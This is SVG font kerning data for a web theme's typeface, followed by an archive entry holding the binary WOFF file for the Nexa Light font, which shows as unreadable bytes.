<hkern u1="&#xda;" u2="x" k="43" />
<hkern u1="&#xda;" u2="w" k="23" />
<hkern u1="&#xda;" u2="v" k="20" />
<hkern u1="&#xda;" u2="r" k="43" />
<hkern u1="&#xda;" u2="q" k="43" />
<hkern u1="&#xda;" u2="p" k="23" />
<hkern u1="&#xda;" u2="m" k="23" />
<hkern u1="&#xda;" u2="k" k="20" />
<hkern u1="&#xda;" u2="h" k="23" />
<hkern u1="&#xda;" u2="g" k="43" />
<hkern u1="&#xda;" u2="d" k="43" />
<hkern u1="&#xda;" u2="X" k="63" />
<hkern u1="&#xda;" u2="W" k="66" />
<hkern u1="&#xdb;" u2="x" k="43" />
<hkern u1="&#xdb;" u2="w" k="23" />
<hkern u1="&#xdb;" u2="v" k="20" />
<hkern u1="&#xdb;" u2="r" k="43" />
<hkern u1="&#xdb;" u2="q" k="43" />
<hkern u1="&#xdb;" u2="p" k="23" />
<hkern u1="&#xdb;" u2="m" k="23" />
<hkern u1="&#xdb;" u2="k" k="20" />
<hkern u1="&#xdb;" u2="h" k="23" />
<hkern u1="&#xdb;" u2="g" k="43" />
<hkern u1="&#xdb;" u2="d" k="43" />
<hkern u1="&#xdb;" u2="X" k="63" />
<hkern u1="&#xdb;" u2="W" k="66" />
<hkern u1="&#xdc;" u2="x" k="43" />
<hkern u1="&#xdc;" u2="w" k="23" />
<hkern u1="&#xdc;" u2="v" k="20" />
<hkern u1="&#xdc;" u2="r" k="43" />
<hkern u1="&#xdc;" u2="q" k="43" />
<hkern u1="&#xdc;" u2="p" k="23" />
<hkern u1="&#xdc;" u2="m" k="23" />
<hkern u1="&#xdc;" u2="k" k="20" />
<hkern u1="&#xdc;" u2="h" k="23" />
<hkern u1="&#xdc;" u2="g" k="43" />
<hkern u1="&#xdc;" u2="d" k="43" />
<hkern u1="&#xdc;" u2="X" k="63" />
<hkern u1="&#xdc;" u2="W" k="66" />
<hkern u1="&#xdd;" u2="&#x153;" k="236" />
<hkern u1="&#xdd;" u2="&#xff;" k="66" />
<hkern u1="&#xdd;" u2="&#xfd;" k="66" />
<hkern u1="&#xdd;" u2="&#xfc;" k="190" />
<hkern u1="&#xdd;" u2="&#xfb;" k="190" />
<hkern u1="&#xdd;" u2="&#xfa;" k="190" />
<hkern u1="&#xdd;" u2="&#xf9;" k="190" />
<hkern u1="&#xdd;" u2="&#xf8;" k="236" />
<hkern u1="&#xdd;" u2="&#xf6;" k="236" />
<hkern u1="&#xdd;" u2="&#xf5;" k="236" />
<hkern u1="&#xdd;" u2="&#xf4;" k="236" />
<hkern u1="&#xdd;" u2="&#xf3;" k="236" />
<hkern u1="&#xdd;" u2="&#xf2;" k="236" />
<hkern u1="&#xdd;" u2="&#xf1;" k="172" />
<hkern u1="&#xdd;" u2="&#xef;" k="41" />
<hkern u1="&#xdd;" u2="&#xee;" k="41" />
<hkern u1="&#xdd;" u2="&#xed;" k="41" />
<hkern u1="&#xdd;" u2="&#xec;" k="41" />
<hkern u1="&#xdd;" u2="&#xeb;" k="276" />
<hkern u1="&#xdd;" u2="&#xea;" k="276" />
<hkern u1="&#xdd;" u2="&#xe9;" k="276" />
<hkern u1="&#xdd;" u2="&#xe8;" k="276" />
<hkern u1="&#xdd;" u2="&#xe7;" k="236" />
<hkern u1="&#xdd;" u2="&#xe6;" k="256" />
<hkern u1="&#xdd;" u2="&#xe5;" k="256" />
<hkern u1="&#xdd;" u2="&#xe4;" k="256" />
<hkern u1="&#xdd;" u2="&#xe3;" k="256" />
<hkern u1="&#xdd;" u2="&#xe2;" k="256" />
<hkern u1="&#xdd;" u2="&#xe1;" k="256" />
<hkern u1="&#xdd;" u2="&#xe0;" k="256" />
<hkern u1="&#xdd;" u2="z" k="170" />
<hkern u1="&#xdd;" u2="y" k="66" />
<hkern u1="&#xdd;" u2="x" k="127" />
<hkern u1="&#xdd;" u2="w" k="106" />
<hkern u1="&#xdd;" u2="v" k="106" />
<hkern u1="&#xdd;" u2="u" k="190" />
<hkern u1="&#xdd;" u2="s" k="213" />
<hkern u1="&#xdd;" u2="r" k="172" />
<hkern u1="&#xdd;" u2="q" k="236" />
<hkern u1="&#xdd;" u2="p" k="172" />
<hkern u1="&#xdd;" u2="o" k="236" />
<hkern u1="&#xdd;" u2="n" k="172" />
<hkern u1="&#xdd;" u2="m" k="170" />
<hkern u1="&#xdd;" u2="k" k="63" />
<hkern u1="&#xdd;" u2="i" k="41" />
<hkern u1="&#xdd;" u2="h" k="63" />
<hkern u1="&#xdd;" u2="g" k="236" />
<hkern u1="&#xdd;" u2="f" k="63" />
<hkern u1="&#xdd;" u2="e" k="276" />
<hkern u1="&#xdd;" u2="d" k="233" />
<hkern u1="&#xdd;" u2="c" k="236" />
<hkern u1="&#xdd;" u2="a" k="256" />
<hkern u1="&#xde;" u2="w" k="-43" />
<hkern u1="&#xde;" u2="m" k="-43" />
<hkern u1="&#xde;" u2="j" k="-43" />
<hkern u1="&#xde;" u2="h" k="-20" />
<hkern u1="&#xde;" u2="X" k="106" />
<hkern u1="&#xde;" u2="W" k="63" />
<hkern u1="&#xde;" u2="V" k="20" />
<hkern u1="&#xde;" u2="T" k="63" />
<hkern u1="&#xde;" u2="Q" k="-43" />
<hkern u1="&#xde;" u2="F" k="-43" />
<hkern u1="&#xe0;" u2="w" k="66" />
<hkern u1="&#xe0;" u2="v" k="63" />
<hkern u1="&#xe0;" u2="t" k="43" />
<hkern u1="&#xe0;" u2="j" k="-43" />
<hkern u1="&#xe0;" u2="b" k="20" />
<hkern u1="&#xe1;" u2="w" k="66" />
<hkern u1="&#xe1;" u2="v" k="63" />
<hkern u1="&#xe1;" u2="t" k="43" />
<hkern u1="&#xe1;" u2="j" k="-43" />
<hkern u1="&#xe1;" u2="b" k="20" />
<hkern u1="&#xe2;" u2="w" k="66" />
<hkern u1="&#xe2;" u2="v" k="63" />
<hkern u1="&#xe2;" u2="t" k="43" />
<hkern u1="&#xe2;" u2="j" k="-43" />
<hkern u1="&#xe2;" u2="b" k="20" />
<hkern u1="&#xe3;" u2="w" k="66" />
<hkern u1="&#xe3;" u2="v" k="63" />
<hkern u1="&#xe3;" u2="t" k="43" />
<hkern u1="&#xe3;" u2="j" k="-43" />
<hkern u1="&#xe3;" u2="b" k="20" />
<hkern u1="&#xe4;" u2="w" k="66" />
<hkern u1="&#xe4;" u2="v" k="63" />
<hkern u1="&#xe4;" u2="t" k="43" />
<hkern u1="&#xe4;" u2="j" k="-43" />
<hkern u1="&#xe4;" u2="b" k="20" />
<hkern u1="&#xe5;" u2="w" k="66" />
<hkern u1="&#xe5;" u2="v" k="63" />
<hkern u1="&#xe5;" u2="t" k="43" />
<hkern u1="&#xe5;" u2="j" k="-43" />
<hkern u1="&#xe5;" u2="b" k="20" />
<hkern u1="&#xe6;" u2="&#x153;" k="16" />
<hkern u1="&#xe6;" u2="&#xff;" k="33" />
<hkern u1="&#xe6;" u2="&#xfd;" k="33" />
<hkern u1="&#xe6;" u2="&#xfc;" k="20" />
<hkern u1="&#xe6;" u2="&#xfb;" k="20" />
<hkern u1="&#xe6;" u2="&#xfa;" k="20" />
<hkern u1="&#xe6;" u2="&#xf9;" k="20" />
<hkern u1="&#xe6;" u2="&#xf8;" k="16" />
<hkern u1="&#xe6;" u2="&#xf6;" k="16" />
<hkern u1="&#xe6;" u2="&#xf5;" k="16" />
<hkern u1="&#xe6;" u2="&#xf4;" k="16" />
<hkern u1="&#xe6;" u2="&#xf3;" k="16" />
<hkern u1="&#xe6;" u2="&#xf2;" k="16" />
<hkern u1="&#xe6;" u2="&#xf1;" k="31" />
<hkern u1="&#xe6;" u2="&#xef;" k="33" />
<hkern u1="&#xe6;" u2="&#xee;" k="33" />
<hkern u1="&#xe6;" u2="&#xed;" k="33" />
<hkern u1="&#xe6;" u2="&#xec;" k="33" />
<hkern u1="&#xe6;" u2="z" k="47" />
<hkern u1="&#xe6;" u2="y" k="33" />
<hkern u1="&#xe6;" u2="x" k="80" />
<hkern u1="&#xe6;" u2="w" k="16" />
<hkern u1="&#xe6;" u2="v" k="33" />
<hkern u1="&#xe6;" u2="u" k="20" />
<hkern u1="&#xe6;" u2="t" k="47" />
<hkern u1="&#xe6;" u2="s" k="33" />
<hkern u1="&#xe6;" u2="r" k="16" />
<hkern u1="&#xe6;" u2="q" k="20" />
<hkern u1="&#xe6;" u2="p" k="20" />
<hkern u1="&#xe6;" u2="o" k="16" />
<hkern u1="&#xe6;" u2="n" k="31" />
<hkern u1="&#xe6;" u2="m" k="16" />
<hkern u1="&#xe6;" u2="k" k="43" />
<hkern u1="&#xe6;" u2="j" k="47" />
<hkern u1="&#xe6;" u2="i" k="33" />
<hkern u1="&#xe6;" u2="h" k="20" />
<hkern u1="&#xe6;" u2="g" k="47" />
<hkern u1="&#xe6;" u2="f" k="20" />
<hkern u1="&#xe6;" u2="d" k="16" />
<hkern u1="&#xe6;" u2="b" k="16" />
<hkern u1="&#xe7;" u2="q" k="-41" />
<hkern u1="&#xe7;" u2="g" k="-23" />
<hkern u1="&#xe8;" u2="x" k="20" />
<hkern u1="&#xe8;" u2="w" k="41" />
<hkern u1="&#xe8;" u2="v" k="23" />
<hkern u1="&#xe8;" u2="t" k="43" />
<hkern u1="&#xe8;" u2="m" k="20" />
<hkern u1="&#xe8;" u2="k" k="20" />
<hkern u1="&#xe8;" u2="h" k="20" />
<hkern u1="&#xe9;" u2="x" k="20" />
<hkern u1="&#xe9;" u2="w" k="41" />
<hkern u1="&#xe9;" u2="v" k="23" />
<hkern u1="&#xe9;" u2="t" k="43" />
<hkern u1="&#xe9;" u2="m" k="20" />
<hkern u1="&#xe9;" u2="k" k="20" />
<hkern u1="&#xe9;" u2="h" k="20" />
<hkern u1="&#xea;" u2="x" k="20" />
<hkern u1="&#xea;" u2="w" k="41" />
<hkern u1="&#xea;" u2="v" k="23" />
<hkern u1="&#xea;" u2="t" k="43" />
<hkern u1="&#xea;" u2="m" k="20" />
<hkern u1="&#xea;" u2="k" k="20" />
<hkern u1="&#xea;" u2="h" k="20" />
<hkern u1="&#xeb;" u2="x" k="20" />
<hkern u1="&#xeb;" u2="w" k="41" />
<hkern u1="&#xeb;" u2="v" k="23" />
<hkern u1="&#xeb;" u2="t" k="43" />
<hkern u1="&#xeb;" u2="m" k="20" />
<hkern u1="&#xeb;" u2="k" k="20" />
<hkern u1="&#xeb;" u2="h" k="20" />
<hkern u1="&#xec;" u2="x" k="-43" />
<hkern u1="&#xec;" u2="J" k="-86" />
<hkern u1="&#xed;" u2="x" k="-43" />
<hkern u1="&#xed;" u2="J" k="-86" />
<hkern u1="&#xee;" u2="x" k="-43" />
<hkern u1="&#xee;" u2="J" k="-86" />
<hkern u1="&#xef;" u2="x" k="-43" />
<hkern u1="&#xef;" u2="J" k="-86" />
<hkern u1="&#xf1;" u2="w" k="43" />
<hkern u1="&#xf1;" u2="v" k="63" />
<hkern u1="&#xf1;" u2="t" k="43" />
<hkern u1="&#xf2;" u2="x" k="20" />
<hkern u1="&#xf2;" u2="w" k="43" />
<hkern u1="&#xf2;" u2="v" k="20" />
<hkern u1="&#xf2;" u2="t" k="20" />
<hkern u1="&#xf3;" u2="x" k="20" />
<hkern u1="&#xf3;" u2="w" k="43" />
<hkern u1="&#xf3;" u2="v" k="20" />
<hkern u1="&#xf3;" u2="t" k="20" />
<hkern u1="&#xf4;" u2="x" k="20" />
<hkern u1="&#xf4;" u2="w" k="43" />
<hkern u1="&#xf4;" u2="v" k="20" />
<hkern u1="&#xf4;" u2="t" k="20" />
<hkern u1="&#xf5;" u2="x" k="20" />
<hkern u1="&#xf5;" u2="w" k="43" />
<hkern u1="&#xf5;" u2="v" k="20" />
<hkern u1="&#xf5;" u2="t" k="20" />
<hkern u1="&#xf6;" u2="x" k="20" />
<hkern u1="&#xf6;" u2="w" k="43" />
<hkern u1="&#xf6;" u2="v" k="20" />
<hkern u1="&#xf6;" u2="t" k="20" />
<hkern u1="&#xf8;" u2="x" k="20" />
<hkern u1="&#xf8;" u2="w" k="43" />
<hkern u1="&#xf8;" u2="v" k="20" />
<hkern u1="&#xf8;" u2="t" k="20" />
<hkern u1="&#x152;" u2="&#x178;" k="-43" />
<hkern u1="&#x152;" u2="&#xdd;" k="-43" />
<hkern u1="&#x152;" u2="&#xd1;" k="-43" />
<hkern u1="&#x152;" u2="x" k="-43" />
<hkern u1="&#x152;" u2="s" k="-20" />
<hkern u1="&#x152;" u2="j" k="-84" />
<hkern u1="&#x152;" u2="Y" k="-43" />
<hkern u1="&#x152;" u2="W" k="-20" />
<hkern u1="&#x152;" u2="V" k="-23" />
<hkern u1="&#x152;" u2="T" k="-84" />
<hkern u1="&#x152;" u2="S" k="-43" />
<hkern u1="&#x152;" u2="N" k="-43" />
<hkern u1="&#x152;" u2="J" k="-23" />
<hkern u1="&#x153;" u2="&#xff;" k="43" />
<hkern u1="&#x153;" u2="&#xfd;" k="43" />
<hkern u1="&#x153;" u2="y" k="43" />
<hkern u1="&#x153;" u2="x" k="20" />
<hkern u1="&#x153;" u2="w" k="41" />
<hkern u1="&#x153;" u2="v" k="23" />
<hkern u1="&#x153;" u2="t" k="43" />
<hkern u1="&#x153;" u2="m" k="20" />
<hkern u1="&#x153;" u2="k" k="20" />
<hkern u1="&#x153;" u2="h" k="20" />
<hkern u1="&#x178;" u2="x" k="127" />
<hkern u1="&#x178;" u2="w" k="106" />
<hkern u1="&#x178;" u2="v" k="106" />
<hkern u1="&#x178;" u2="r" k="172" />
<hkern u1="&#x178;" u2="q" k="236" />
<hkern u1="&#x178;" u2="p" k="172" />
<hkern u1="&#x178;" u2="m" k="170" />
<hkern u1="&#x178;" u2="k" k="63" />
<hkern u1="&#x178;" u2="h" k="63" />
<hkern u1="&#x178;" u2="g" k="236" />
<hkern u1="&#x178;" u2="f" k="63" />
<hkern u1="&#x178;" u2="d" k="233" />
<hkern u1="&#x2019;" u2="s" k="150" />
<hkern u1="&#x2019;" u2="m" k="129" />
<hkern u1="&#x2019;" u2="d" k="129" />
<hkern u1="&#x2019;" u2="S" k="86" />
<hkern u1="&#x2019;" u2="L" k="106" />
<hkern g1="C,Ccedilla" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-20" />
<hkern g1="C,Ccedilla" 	g2="y,yacute,ydieresis" 	k="-63" />
<hkern g1="C,Ccedilla" 	g2="s" 	k="-23" />
<hkern g1="C,Ccedilla" 	g2="D,Thorn" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="L" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-63" />
<hkern g1="C,Ccedilla" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="Z" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="l" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="i,igrave,iacute,icircumflex,idieresis" 	k="-23" />
<hkern g1="C,Ccedilla" 	g2="n,ntilde" 	k="-20" />
<hkern g1="C,Ccedilla" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-43" />
<hkern g1="C,Ccedilla" 	g2="E,Egrave,Eacute,Ecircumflex,Edieresis" 	k="-63" />
<hkern g1="C,Ccedilla" 	g2="I,Igrave,Iacute,Icircumflex,Idieresis" 	k="-66" />
<hkern g1="C,Ccedilla" 	g2="S" 	k="-86" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="s" 	k="-20" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="N,Ntilde" 	k="-43" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="Y,Yacute,Ydieresis" 	k="-43" />
<hkern g1="E,AE,Egrave,Eacute,Ecircumflex,Edieresis,OE" 	g2="S" 	k="-43" />
<hkern g1="I,Igrave,Iacute,Icircumflex,Idieresis" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-43" />
<hkern g1="I,Igrave,Iacute,Icircumflex,Idieresis" 	g2="Z" 	k="-43" />
<hkern g1="I,Igrave,Iacute,Icircumflex,Idieresis" 	g2="S" 	k="-41" />
<hkern g1="N,Ntilde" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-20" />
<hkern g1="N,Ntilde" 	g2="S" 	k="-23" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-23" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="Y,Yacute,Ydieresis" 	k="106" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="Z" 	k="43" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="S" 	k="-41" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="z" 	k="41" />
<hkern g1="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash" 	g2="c,ccedilla" 	k="-20" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="43" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="Z" 	k="63" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="43" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="i,igrave,iacute,icircumflex,idieresis" 	k="23" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="n,ntilde" 	k="20" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="43" />
<hkern g1="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	g2="z" 	k="63" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="256" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="y,yacute,ydieresis" 	k="66" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="s" 	k="213" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="190" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="276" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="i,igrave,iacute,icircumflex,idieresis" 	k="41" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="n,ntilde" 	k="172" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="236" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="z" 	k="170" />
<hkern g1="Y,Yacute,Ydieresis" 	g2="c,ccedilla" 	k="236" />
<hkern g1="S" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-66" />
<hkern g1="S" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="-43" />
<hkern g1="S" 	g2="Y,Yacute,Ydieresis" 	k="63" />
<hkern g1="S" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-66" />
<hkern g1="S" 	g2="l" 	k="-20" />
<hkern g1="S" 	g2="n,ntilde" 	k="-20" />
<hkern g1="S" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-41" />
<hkern g1="S" 	g2="z" 	k="-41" />
<hkern g1="Z" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-43" />
<hkern g1="Z" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-20" />
<hkern g1="Z" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="20" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="y,yacute,ydieresis" 	k="43" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="49" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-23" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="z" 	k="20" />
<hkern g1="a,agrave,aacute,acircumflex,atilde,adieresis,aring" 	g2="c,ccedilla" 	k="-23" />
<hkern g1="c,ccedilla" 	g2="D,Thorn" 	k="-106" />
<hkern g1="c,ccedilla" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-41" />
<hkern g1="c,ccedilla" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-20" />
<hkern g1="e,ae,egrave,eacute,ecircumflex,edieresis,oe" 	g2="y,yacute,ydieresis" 	k="43" />
<hkern g1="i,igrave,iacute,icircumflex,idieresis" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-23" />
<hkern g1="n,ntilde" 	g2="y,yacute,ydieresis" 	k="63" />
<hkern g1="n,ntilde" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="41" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="y,yacute,ydieresis" 	k="23" />
<hkern g1="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash" 	g2="z" 	k="43" />
<hkern g1="L" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-41" />
<hkern g1="L" 	g2="y,yacute,ydieresis" 	k="84" />
<hkern g1="L" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="43" />
<hkern g1="L" 	g2="U,Ugrave,Uacute,Ucircumflex,Udieresis" 	k="84" />
<hkern g1="L" 	g2="Y,Yacute,Ydieresis" 	k="256" />
<hkern g1="L" 	g2="Z" 	k="-43" />
<hkern g1="l" 	g2="y,yacute,ydieresis" 	k="-20" />
<hkern g1="D,Thorn" 	g2="a,agrave,aacute,acircumflex,atilde,adieresis,aring,ae" 	k="-20" />
<hkern g1="D,Thorn" 	g2="y,yacute,ydieresis" 	k="-41" />
<hkern g1="D,Thorn" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="-43" />
<hkern g1="D,Thorn" 	g2="O,Ograve,Oacute,Ocircumflex,Otilde,Odieresis,Oslash,OE" 	k="-20" />
<hkern g1="D,Thorn" 	g2="Y,Yacute,Ydieresis" 	k="106" />
<hkern g1="D,Thorn" 	g2="Z" 	k="43" />
<hkern g1="D,Thorn" 	g2="e,egrave,eacute,ecircumflex,edieresis" 	k="-43" />
<hkern g1="D,Thorn" 	g2="n,ntilde" 	k="-23" />
<hkern g1="D,Thorn" 	g2="o,ograve,oacute,ocircumflex,otilde,odieresis,oslash,oe" 	k="-20" />
<hkern g1="D,Thorn" 	g2="I,Igrave,Iacute,Icircumflex,Idieresis" 	k="-23" />
<hkern g1="p,thorn" 	g2="u,ugrave,uacute,ucircumflex,udieresis" 	k="20" />
</font>
</defs></svg> PK!)����z�z3bluetheme/assets/fonts/Nexa/nexa_light-webfont.woffnu&1i�wOFFz��FFTM�f��GDEF� GPOS��v(z!,OGSUBl  l�t�OS/2�Q`v�/cmap���t���cvt t..#%fpgm��eS�/�gaspXglyf`Se��d�Hheadq�16p��hheaq� $��hmtxrx��<�locat���<�xmaxpvX  Fnamevxr\P�z�postw���-$prepy��	�)m�webfz|�RX�=���0���}�x�c`d``�b	`b`§@��1!x���ilg���׀9��NL&	�\�C�&�z9���1�/��h6Zew3�Uv�ZE"!�$J�18��6�/t�Z�V�e‡R�x�F�E�|����n�t=
� %���U���������=천s9�~�����{�%7��b�K�������/��M��k3��t�	��8�o���ڳ�d��?����U��B��ٍ�]�}�c���E�W��]5�����7望�՜��n�{h�'���9gn�S9�9��e����^�����)���/r�̝���[�W��y����*]�s���o�?�?��]A��?ޘ
d�_MO��O�Ğ�T�s�=_�=�1*�'�0=��O.����}�u���#������[�|-�`c�[���7�\�m���Y��|��_c�����!���x�כخ����
��@'�x�1�`�n1�C�K�*�ԕ�^�������E^[�k�vk��nq����W
Y^����K}햦>"���Q���t�]�[���{:U�ְ�3�J�l�7nmʹu�+��S�\���&���{��ޭ�+������ܫS�\���O���.U��ٮ�o���6�{�c����>>��Gp��q|ʱq'���9VZцvt���w�яbø���`c�|��$x}�}g��a��0�X,i�J}x��&	k�^D����s���߻Y�d����m��-"m�H�"Ҷ����8��XE��*����9�"W���,*9�Uĺ��ל�*�d1?��q&��3)#��RR���|:.��\Cj�,��&���rZцvt��8N��F=�c�� �0�q�G��	�[�ut��<��<�O�[Ǽ�Yހ�7rƛ�˄��P]%T/�R��"��O�J��2BV�CV�YU��t�&I��]
kkQ�r=�����8��xo���a|ʱq'фf�ׂV����)��ž�Cz9��8���c�~`C��e��8��#�k7��E��͕�����ME���kî�i	�{8�}̗b&Wr�+y�m���b\�I��[M/-M�*�B,�G.Xʻ
H�R��+H��b��<�U�)7�N���`cg�8Pn��5�� �8�;�{��}��.�r����|)z��>�����=�Ok9�u(��M�൝l�Ǘ�E����[ʊK��(+.QVPN�mZцvt��y�8�#�=A� �0��Z�
s�0%^��ʺm�˄.L���5�K\E����2R�1J�'H�l����Ϻ�?���u;j��O�����8�&���}}�����G�{�c�d�i<�c;��[�p�}yU����^�q�9�z�8K9���ֲ�lδ��T�j�\��j5a	����d�Z��ъQ�ɰ����Ç�������8�&�����<Rp�3��c���F9�m`�����n�Ѓq��!10�3%5����D��7��^AZ����P��B�'I�$)�$œ�x�O��I��6݈��ч~`C��5�Q�!��b>_'�����E��2�V���ȗ�@%Gڃ*��f]���k�Z�i������QC��)�6�N��㴠mhG:q�}w�1�H�f�}���q���`cg]�s��Y7����XJRN�(#C��!��ed�22D�����s^/x�y1J�wR뉯
�:��w#Β>��W�}W��t>m���{n����O�$�O~	{��'	{��'	{��'){Ô�a™$wMq����!,a�	��-���o�W[!WI��&�>�jJ�0%e��2LIf��쿚+��w�U��wU2ߋjr�>�#u�A�+��H�Q��x�Z�ㅉ'G<9�)�ʿ���W���]��B�X�U�~/�լ�GjE��'>kRr�ҫ�{��R���6q�f�ӂV����)tq�n�Ѓ^�gp�_E!��~`C�^��B�Z!y���&Wvy��%xm�c/$�/�3����v�e��Bv��%}��R����}��)UM�T�y���� ��yu��ż2�"q�"y��=�ȞH;��'/�0�e^���!�[X��~[Њ6���8�.�׍z���N���<��c}?0�!���`c�����g|�o�,o�,B��ӡ�B���(�Q4�(!����� ����th����!��!��!��C!DB!DBt�]!DW�B�E����� !:��I
�MH.��Oϝ���ߧ�e�6�ϴ��n����$w[�Q��W'�]���j��c~�s��-�s(�~k3yI>
��"�����)��8��/����V\�r
/�^��'�`��s8��t��JW�y����Z��r�W�(uIE��pvU��>�#�3$鯀&�	^�	⭗x�%�z��^⭗x��|��O��Ir>I�R�}̝�3���/�
�w�!J�%Y����}O�R�����(�p#~V��r��K!�$)]�.�L�������C���y�׎9�4L�ɵߟ�Kbve���r��\J�z>rO�6�=m�{Z	o)�QJ�s�����.;��p:G0�c���Z��׻�n���j�#���/k�>�פK��Ͽ�%��<<]zM��=��*�ߜ�#)�ue?��
�_)�o]����<��&�B�S�t
�N!�)D:�H�2R��(#�H����E�-���
�]�%��w�l'��e�UB��w7^��>�#��m���$!�J���IBt�3��'9�I�p�3���ȗ�����s����튈�g���R�UB>/f�ż���y�5�{����[��y1w�+�f��O�e�)�"gT�*>�1m �Ց'^�9�~�����O���nȽ膙~�]��
�dz�e�����5�����,z����_,}�s��/��؟V�?�Ъ��[�>W��ѿ�ps�_m=TپdG��'w���݇w�̭|�2��H_e����s.�<����0�<#��s3�<KӔ䙛F�Aj�ٜ�� ��4�
�O#�4�LP#�	5��P��
�C���
�S#�65��o��Z��6C����i�g��nC��c��e��R����y�����y򫑧�yB����y�����y⬑��y2����y�����yҭ���y"����yr��䟂�v�<u�ȓxM������S|�<����~��h�V@#ϩ5R{����2h��A#���мkx��Aj<4GG
�Q�q�Դh
''
Rs��M����fh7t:
R����&M�a�0h2��K3b5���L7H�Fj�4R��O�5ņ��Z�LV�+u|��Ӕ������F6H�5R�����C��R#5~��ϕ7���TM�!f�1Hݬ���.�Q_׫��_��	k��X#u��O�H�f��	��h��Ok��Z#�ؚ�j
��n�}Ŕ���� �a�H��F��5�=�E���k��^c]�R���:M�/
�Z��6C����i�6	i���6�=�>�t5��0`4�
��B7$�S� i�����74ҦC�� m4�DSl�v#�
i_��6'i����)i���6,iע��.i����k����f����JDic��g����TI�����������?��vAi+���C��
o�42�e8l��L�F�	�IC�A�KiZ��6C����i��[iϥ�6�=i�9m8c8k�zM�a�0h2���f�0j3H�9M� �>is�y����X�"��F��i���F��i�-�F��i
''
��O3b5����&n(��5k�=�uoQ�?o���B2I�Fͻ����^P�P��Uj���ƪ=���Ҵ���i3��v����[u�:C�o[�� mU5�~U#mZ5��U#m_5�V#md5����is�i1���C�A�j�M�&n8�[�j�E�FZ	k��fM�Uo�g
